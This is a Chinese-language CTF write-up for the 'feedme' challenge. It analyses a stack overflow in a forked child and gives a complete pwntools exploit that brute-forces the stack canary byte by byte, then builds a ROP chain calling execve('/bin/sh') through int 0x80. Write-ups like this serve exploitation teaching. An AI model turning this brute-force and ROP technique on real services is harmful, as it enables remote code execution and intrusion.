相关资源
文件分析
1 2 3 4 5 6
| $ checksec feedme Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
|
1 2 3 4 5 6 7 8
| $ ./feedme FEED ME! !0000000000000000000000000000000000000000000000000000000000000000000 ATE 30303030303030303030303030303030... *** stack smashing detected ***: ./feedme terminated Child exit. FEED ME! ...
|
代码分析
首先SHIFT+F5
利用签名文件恢复符号表,具体教程见符号表恢复
可以看到循环fork创建子线程,子线程执行sub_8049036
函数
sub_8049036
函数中I
首先读取一个byte
II
读取这个byte值个数个byte到v3中,明显此处存在栈溢出
III
处明显存在canary栈溢出检查
攻击方法
该文件是静态链接的,但是没有找到库函数system
,并且开启了栈不可执行
ALT+T
也没有找到syscall
,但是存在有int 80h
可以触发系统调用 sys_execve
参数:
1 2 3 4
| eax -> 0xb # sys_execve调用号 ebx -> '/bin/sh'指针 ecx -> 0 edx -> 0
|
fork出的子线程canary是不变的,由此我们可以对canary进行爆破,然后溢出构造pop链
爆破方法:从低(最低位一定是\x00,不用爆破)到高一个一个字节遍历覆盖,如果没有发现输出stack smashing
,则说明当前字节正确,固定当前已获取的字节,接着下个字节爆破
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import * import sys
pty = process.PTY context(os='linux', arch='i386', log_level='debug')
mode = '' if len(sys.argv) > 1: mode = sys.argv[1]
proc = process("./feedme")
def s(x): proc.send(x) def sl(x): return proc.sendline(x) def sd(x): return proc.send(x) def sla(x, y): return proc.sendlineafter(x, y) def sa(x, y): return proc.sendafter(x, y) def ru(x): return proc.recvuntil(x) def rc(): return proc.recv() def rl(): return proc.recvline() def li(con): return log.info(con) def ls(con): return log.success(con) def pi(): return proc.interactive() def pcls(): return proc.close() def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
gscript = ''' b main b * 0x08049036 b * 0x080490C9 set follow-fork-mode child ''' if mode == '-d': gdb.attach(proc, gdbscript=gscript)
canary = b'\x00'
for i in range(1, 4): for j in range(0,0x100): sa(b'ME!', p8(32+i+1)+b'h'*32+ canary + p8(j)) res = ru(b'exit.') if b'smashing' not in res: canary = canary + p8(j) break
eax_ret = 0x080bb496 ebx_ret = 0x080481c9 edx_ret = 0x0806f34a ecx_ebx_ret = 0x0806f371 mov_eax2pedx = 0x0809a7ed int_80 = 0x08049761 dest = 0x080EBF40
payload = b'h'*32 + canary + p32(0)* 3 payload += p32(edx_ret)+ p32(dest) payload += p32(eax_ret) + b'/bin' + p32(mov_eax2pedx) payload += p32(edx_ret)+ p32(dest+4) payload += p32(eax_ret) + b'/sh\x00' + p32(mov_eax2pedx) payload += p32(eax_ret) + p32(0xb) payload += p32(edx_ret) + p32(0)
payload += p32(ecx_ebx_ret) + p32(0) + p32(dest) payload += p32(int_80)
sa(b'ME!', p8(len(payload))+payload)
pi() pause()
|